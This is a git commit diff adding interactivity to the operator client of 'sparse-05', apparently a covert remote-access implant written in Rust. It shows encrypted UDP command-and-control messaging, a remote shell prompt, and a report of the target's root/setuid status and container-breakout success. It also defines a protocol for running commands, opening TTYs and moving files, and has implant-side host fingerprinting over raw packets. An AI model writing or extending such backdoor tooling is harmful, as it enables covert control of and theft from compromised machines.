feat: added a basic interactivity to the client
This commit is contained in:
@@ -4,10 +4,13 @@ version = "0.5.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
ansi_term = "0.12.1"
|
||||
anyhow = "1.0.75"
|
||||
ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
|
||||
ed25519-dalek = "1.0.1"
|
||||
libc = "0.2.147"
|
||||
rand = "0.7"
|
||||
raw_tty = "0.1.0"
|
||||
rmp-serde = "1.1.2"
|
||||
serde = { version = "1.0.188", features = ["derive"] }
|
||||
sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" }
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
pub mod sysinfo;
|
||||
@@ -0,0 +1,71 @@
|
||||
use sparse_05_common::messages::{Capabilities, OperatingSystem};
|
||||
|
||||
pub fn print_capabilities(capabilities: &Capabilities) {
|
||||
use ansi_term::Colour as Color;
|
||||
|
||||
println!("Capabilities of remote host:");
|
||||
println!(
|
||||
"\tOperating system: \t{}",
|
||||
match &capabilities.operating_system {
|
||||
OperatingSystem::Linux => "Linux",
|
||||
OperatingSystem::Windows => "Windows",
|
||||
}
|
||||
);
|
||||
println!(
|
||||
"\tInside a container: \t{}",
|
||||
if capabilities.docker_container {
|
||||
"yes"
|
||||
} else {
|
||||
"no"
|
||||
}
|
||||
);
|
||||
if capabilities.docker_container {
|
||||
println!(
|
||||
"\tContainer breakout: \t{}",
|
||||
if capabilities.docker_breakout {
|
||||
Color::Green.paint("successful")
|
||||
} else {
|
||||
Color::Red.paint("unsuccessful")
|
||||
}
|
||||
);
|
||||
}
|
||||
println!(
|
||||
"\tRemote user: \t\t{}",
|
||||
match &capabilities.userent {
|
||||
Some(user) => Color::White.paint(user),
|
||||
None => Color::Red.paint("unknown"),
|
||||
}
|
||||
);
|
||||
match capabilities.operating_system {
|
||||
OperatingSystem::Linux => {
|
||||
println!(
|
||||
"\tAdmin user: \t\t{}",
|
||||
match (capabilities.root, capabilities.setuid) {
|
||||
(false, false) => Color::Red.paint("no"),
|
||||
(_, _) => Color::Green.paint("yes"),
|
||||
}
|
||||
);
|
||||
println!(
|
||||
"\tsetuid capability: \t{}",
|
||||
match capabilities.setuid {
|
||||
true => Color::Green.paint("yes"),
|
||||
false => Color::Red.paint("no"),
|
||||
}
|
||||
);
|
||||
}
|
||||
OperatingSystem::Windows => {
|
||||
println!(
|
||||
"\tAdmin user: \t\t{}",
|
||||
match capabilities.root {
|
||||
true => Color::Green.paint("yes"),
|
||||
false => Color::Red.paint("no"),
|
||||
}
|
||||
);
|
||||
}
|
||||
}
|
||||
println!("\tTransport type: \t{:?}", capabilities.transport);
|
||||
println!(
|
||||
"\tHost name: \t\t{}",
|
||||
capabilities.hostname.as_deref().unwrap_or("<unknown>")
|
||||
);
|
||||
}
|
||||
@@ -1,24 +1,28 @@
|
||||
use std::{net::SocketAddr, path::PathBuf, sync::Arc};
|
||||
use std::{
|
||||
io::{self, Write},
|
||||
net::SocketAddr,
|
||||
path::PathBuf,
|
||||
sync::Arc,
|
||||
};
|
||||
|
||||
use anyhow::{bail, Context};
|
||||
use ed25519_dalek::{Keypair, Signature, Signer, Verifier};
|
||||
use rmp_serde::decode::ReadSlice;
|
||||
use sparse_05_common::messages::{Capabilities, Response, CONNECTED_MESSAGE, CONNECT_MESSAGE};
|
||||
use sparse_05_common::messages::{
|
||||
Capabilities, Command, OperatingSystem, Response, CONNECTED_MESSAGE, CONNECT_MESSAGE,
|
||||
};
|
||||
use tokio::{fs, net::UdpSocket};
|
||||
|
||||
use crate::configs::ClientConfig;
|
||||
|
||||
enum State {
|
||||
Authenticating,
|
||||
Ready,
|
||||
UploadingFile,
|
||||
DownloadingFile,
|
||||
}
|
||||
mod commands;
|
||||
mod shell;
|
||||
|
||||
struct Connection {
|
||||
config: ClientConfig,
|
||||
foreign_sign_pubkey: ed25519_dalek::PublicKey,
|
||||
foreign_enc_pubkey: ecies_ed25519::PublicKey,
|
||||
socket: Arc<UdpSocket>,
|
||||
ip: SocketAddr,
|
||||
}
|
||||
|
||||
impl Connection {
|
||||
@@ -44,6 +48,27 @@ impl Connection {
|
||||
|
||||
Ok([&signature.to_bytes(), &*data].concat())
|
||||
}
|
||||
|
||||
async fn send_command(&self, command: Command) -> anyhow::Result<()> {
|
||||
let cmd = rmp_serde::to_vec(&command)?;
|
||||
|
||||
self.socket
|
||||
.send_to(&self.encrypt_and_sign(&cmd)?, self.ip)
|
||||
.await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn get_response(&self) -> anyhow::Result<Response> {
|
||||
let mut buffer = [0u8; 2000];
|
||||
let (read, from) = self.socket.recv_from(&mut buffer).await?;
|
||||
|
||||
if from != self.ip {
|
||||
bail!("received packet from wrong computer");
|
||||
}
|
||||
|
||||
self.decrypt_and_verify(&buffer[..read])
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn connect(config: PathBuf, ip: SocketAddr) -> anyhow::Result<()> {
|
||||
@@ -58,10 +83,20 @@ pub async fn connect(config: PathBuf, ip: SocketAddr) -> anyhow::Result<()> {
|
||||
let mut counter = 0;
|
||||
|
||||
let (foreign_sign_pubkey, foreign_enc_pubkey, capabilities) = loop {
|
||||
if counter > 5 {
|
||||
if counter > 25 {
|
||||
bail!("could not connect to server");
|
||||
}
|
||||
|
||||
print!(
|
||||
"\rConnecting{}",
|
||||
match counter % 3 {
|
||||
2 => ".. ",
|
||||
1 => ". ",
|
||||
_ => "...",
|
||||
}
|
||||
);
|
||||
io::stdout().flush().unwrap();
|
||||
|
||||
remote.send_to(connect_msg, ip).await?;
|
||||
|
||||
let mut buf = [0u8; 2000];
|
||||
@@ -122,17 +157,21 @@ pub async fn connect(config: PathBuf, ip: SocketAddr) -> anyhow::Result<()> {
|
||||
}
|
||||
};
|
||||
|
||||
let connection = Connection {
|
||||
let connection = Arc::new(Connection {
|
||||
config,
|
||||
foreign_enc_pubkey,
|
||||
foreign_sign_pubkey,
|
||||
};
|
||||
socket: Arc::clone(&remote),
|
||||
ip,
|
||||
});
|
||||
|
||||
remote
|
||||
.send_to(&connection.encrypt_and_sign(CONNECTED_MESSAGE)?, ip)
|
||||
.await?;
|
||||
|
||||
println!("connected! {:?}", capabilities);
|
||||
println!("\rConnected! ");
|
||||
|
||||
shell::shell(Arc::clone(&connection), capabilities).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
102
sparse-05/sparse-05-client/src/commands/connect/shell.rs
Normal file
102
sparse-05/sparse-05-client/src/commands/connect/shell.rs
Normal file
@@ -0,0 +1,102 @@
|
||||
use std::{
|
||||
io::{self, Read, Write},
|
||||
os::fd::AsRawFd,
|
||||
path::PathBuf,
|
||||
sync::Arc,
|
||||
};
|
||||
|
||||
use sparse_05_common::messages::Capabilities;
|
||||
use tokio::net::UdpSocket;
|
||||
|
||||
use super::{commands, Connection};
|
||||
|
||||
macro_rules! libc_try {
|
||||
($expr:expr) => {
|
||||
if unsafe { $expr } == -1 {
|
||||
return Err(std::io::Error::last_os_error())?;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn get_term_attrs<F: AsRawFd>(fd: &F) -> anyhow::Result<libc::termios> {
|
||||
let mut termios = unsafe { std::mem::zeroed() };
|
||||
libc_try!(libc::tcgetattr(fd.as_raw_fd(), &mut termios));
|
||||
Ok(termios)
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn set_term_attrs<F: AsRawFd>(fd: &mut F, attrs: &libc::termios) -> anyhow::Result<()> {
|
||||
libc_try!(libc::tcsetattr(fd.as_raw_fd(), 0, attrs));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn convert_termios_raw(attrs: &mut libc::termios) -> anyhow::Result<()> {
|
||||
unsafe { libc::cfmakeraw(attrs) };
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub(super) async fn shell(
|
||||
connection: Arc<Connection>,
|
||||
mut capabilities: Capabilities,
|
||||
) -> anyhow::Result<()> {
|
||||
println!("Type #help to view a list of sparse commands\n");
|
||||
|
||||
let mut stdin = io::stdin();
|
||||
let mut stdout = io::stdout();
|
||||
let backup_term_attrs = get_term_attrs(&stdin)?;
|
||||
let mut raw_term_attrs = get_term_attrs(&stdin)?;
|
||||
convert_termios_raw(&mut raw_term_attrs)?;
|
||||
|
||||
macro_rules! cmd_matcher {
|
||||
($input:expr, $(($check:ident, $matcher:expr) => {$($body:tt)*}),+, _ => {$($ebody:tt)*}) => {
|
||||
match &$input[..] {
|
||||
$($check if $check.len() >= $matcher.len() && $check[..$matcher.len()] == $matcher[..] => {
|
||||
let $check = &$check[$matcher.len()..];
|
||||
$($body)*
|
||||
}),+
|
||||
_ => {
|
||||
$($ebody)*
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let mut cwd = "/".to_string();
|
||||
|
||||
loop {
|
||||
print!(
|
||||
"{}@{}:{} {} ",
|
||||
capabilities.userent.as_deref().unwrap_or("unknown user!"),
|
||||
match &capabilities.hostname {
|
||||
Some(n) => n.clone(),
|
||||
None => format!("{}", connection.ip.ip()),
|
||||
},
|
||||
cwd,
|
||||
if capabilities.root { "#" } else { "$" }
|
||||
);
|
||||
stdout.flush().unwrap();
|
||||
|
||||
let mut cmd = [0u8; 256];
|
||||
let amount = stdin.read(&mut cmd)?;
|
||||
|
||||
if amount == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
cmd_matcher!(
|
||||
cmd[..amount],
|
||||
(_sysinfo, b"#sysinfo") => {
|
||||
commands::sysinfo::print_capabilities(&capabilities)
|
||||
},
|
||||
(_help, b"#help") => {},
|
||||
(_exit, b"#exit") => {
|
||||
break;
|
||||
},
|
||||
_ => {}
|
||||
);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -12,19 +12,23 @@ pub mod messages {
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub enum Command {
|
||||
SendData(Vec<u8>),
|
||||
RunCommand(OsString),
|
||||
SendStdin(Vec<u8>, u64),
|
||||
|
||||
Cd(PathBuf),
|
||||
Ls(PathBuf),
|
||||
|
||||
OpenTTY,
|
||||
CloseTTY,
|
||||
CloseTTY(u64),
|
||||
SendRawData(Vec<u64>, u64),
|
||||
|
||||
StartUploadFile(PathBuf, u64),
|
||||
SendFileSegment(u64, u64, Vec<u8>),
|
||||
SendFileSegment(u64, u64, Vec<u64>),
|
||||
|
||||
StartDownloadFile(PathBuf, u64),
|
||||
DownloadFileStatus(Result<(), Vec<u8>>),
|
||||
StartDownloadFile(PathBuf),
|
||||
DownloadFileStatus(Result<(), Vec<u64>>),
|
||||
|
||||
Disconnect,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
@@ -56,19 +60,22 @@ pub mod messages {
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub enum Response {
|
||||
// Connected(Capabilities, ed25519_dalek::PublicKey, ecies_ed25519::PublicKey),
|
||||
SendData(Vec<u8>),
|
||||
AckRunCommand(u64),
|
||||
SendStdout(Vec<u8>, u64, u64),
|
||||
CommandDone(u64),
|
||||
|
||||
CdDone,
|
||||
LsResults(Vec<DirEntry>),
|
||||
|
||||
OpenedTTY,
|
||||
ClosedTTY,
|
||||
OpenedTTY(u64),
|
||||
ClosedTTY(u64),
|
||||
SendRawData(Vec<u64>, u64),
|
||||
|
||||
UploadFileID(u64),
|
||||
UploadFileStatus(Result<(), Vec<u8>>),
|
||||
UploadFileStatus(u64, Result<(), Vec<u64>>),
|
||||
|
||||
DownloadFileSegment(u64, u64, Vec<u8>),
|
||||
StartDownloadFile(u64),
|
||||
DownloadFileSegment(u64, u64, Vec<u64>),
|
||||
}
|
||||
|
||||
#[derive(Serialize_repr, Deserialize_repr, Debug, Clone, Copy)]
|
||||
@@ -94,5 +101,6 @@ pub mod messages {
|
||||
pub root: bool,
|
||||
pub userent: Option<String>,
|
||||
pub transport: TransportType,
|
||||
pub hostname: Option<String>,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -65,7 +65,7 @@ fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
||||
return Err(std::io::Error::last_os_error())?;
|
||||
}
|
||||
|
||||
let docker_container = false;
|
||||
let docker_container = std::fs::read_to_string("/proc/1/cgroup")? != "0::/\n";
|
||||
let docker_breakout = false;
|
||||
let uid = unsafe { libc::getuid() };
|
||||
let root = uid == 0;
|
||||
@@ -76,6 +76,9 @@ fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
||||
TransportType::Udp
|
||||
};
|
||||
let userent = get_username(uid)?;
|
||||
let hostname = std::fs::read_to_string("/etc/hostname")
|
||||
.map(|s| s.trim().to_string())
|
||||
.ok();
|
||||
|
||||
Ok(Capabilities {
|
||||
operating_system: if cfg!(target_os = "linux") {
|
||||
@@ -89,6 +92,7 @@ fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
||||
root,
|
||||
userent,
|
||||
transport,
|
||||
hostname,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -104,6 +108,7 @@ fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
||||
root: userent.as_deref() == Some("Administrator"),
|
||||
userent,
|
||||
transport: TransportType::Udp,
|
||||
hostname: None,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -35,6 +35,7 @@ struct ConnectionInformation {
|
||||
srcip: Ipv4Addr,
|
||||
dstip: Ipv4Addr,
|
||||
srcport: u16,
|
||||
packet_sender: Sender<EthernetPacket>,
|
||||
}
|
||||
|
||||
impl ConnectionInformation {
|
||||
@@ -79,6 +80,11 @@ impl ConnectionInformation {
|
||||
|
||||
Ok(rmp_serde::from_slice(&data)?)
|
||||
}
|
||||
|
||||
fn send(&self, packet: EthernetPacket) -> anyhow::Result<()> {
|
||||
self.packet_sender.send(packet)?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub fn spawn_connection_handler(
|
||||
@@ -132,6 +138,7 @@ pub fn spawn_connection_handler(
|
||||
srcip: ip_pkt.source_ip(),
|
||||
dstip: ip_pkt.dest_ip(),
|
||||
srcport: udp_pkt.srcport(),
|
||||
packet_sender,
|
||||
}
|
||||
};
|
||||
let close = {
|
||||
@@ -145,7 +152,7 @@ pub fn spawn_connection_handler(
|
||||
let (packet_handler_sender, packet_handler) = channel();
|
||||
|
||||
thread::spawn(move || {
|
||||
if let Err(e) = authenticate(capabilities, packet_handler, conninfo, packet_sender, close) {
|
||||
if let Err(e) = authenticate(capabilities, packet_handler, conninfo, close) {
|
||||
eprintln!("connection thread died: {e:?}");
|
||||
}
|
||||
});
|
||||
@@ -159,7 +166,6 @@ fn authenticate<F: Fn()>(
|
||||
capabilities: Arc<Capabilities>,
|
||||
packet_handler: Receiver<EthernetPacket>,
|
||||
conninfo: ConnectionInformation,
|
||||
packet_sender: Sender<EthernetPacket>,
|
||||
close: F,
|
||||
) -> anyhow::Result<()> {
|
||||
let mut counter = 0;
|
||||
@@ -169,15 +175,16 @@ fn authenticate<F: Fn()>(
|
||||
close();
|
||||
}
|
||||
|
||||
let next_pkt = conninfo.encrypt_and_sign(
|
||||
&[
|
||||
&conninfo.local_sign_keypair.public.to_bytes(),
|
||||
&conninfo.local_enc_pubkey.to_bytes(),
|
||||
&*(rmp_serde::to_vec(&*capabilities)?),
|
||||
]
|
||||
.concat(),
|
||||
conninfo.send(
|
||||
conninfo.encrypt_and_sign(
|
||||
&[
|
||||
&conninfo.local_sign_keypair.public.to_bytes(),
|
||||
&conninfo.local_enc_pubkey.to_bytes(),
|
||||
&*(rmp_serde::to_vec(&*capabilities)?),
|
||||
]
|
||||
.concat(),
|
||||
)?,
|
||||
)?;
|
||||
packet_sender.send(next_pkt)?;
|
||||
|
||||
match packet_handler.recv_timeout(std::time::Duration::from_millis(250)) {
|
||||
Ok(p) => {
|
||||
@@ -204,14 +211,13 @@ fn authenticate<F: Fn()>(
|
||||
}
|
||||
}
|
||||
|
||||
handle_full_connection(capabilities, packet_handler, conninfo, packet_sender, close)
|
||||
handle_full_connection(capabilities, packet_handler, conninfo, close)
|
||||
}
|
||||
|
||||
fn handle_full_connection<F>(
|
||||
capabilities: Arc<Capabilities>,
|
||||
packet_handler: Receiver<EthernetPacket>,
|
||||
conninfo: ConnectionInformation,
|
||||
packet_sender: Sender<EthernetPacket>,
|
||||
close: F,
|
||||
) -> anyhow::Result<()>
|
||||
where
|
||||
|
||||
Reference in New Issue
Block a user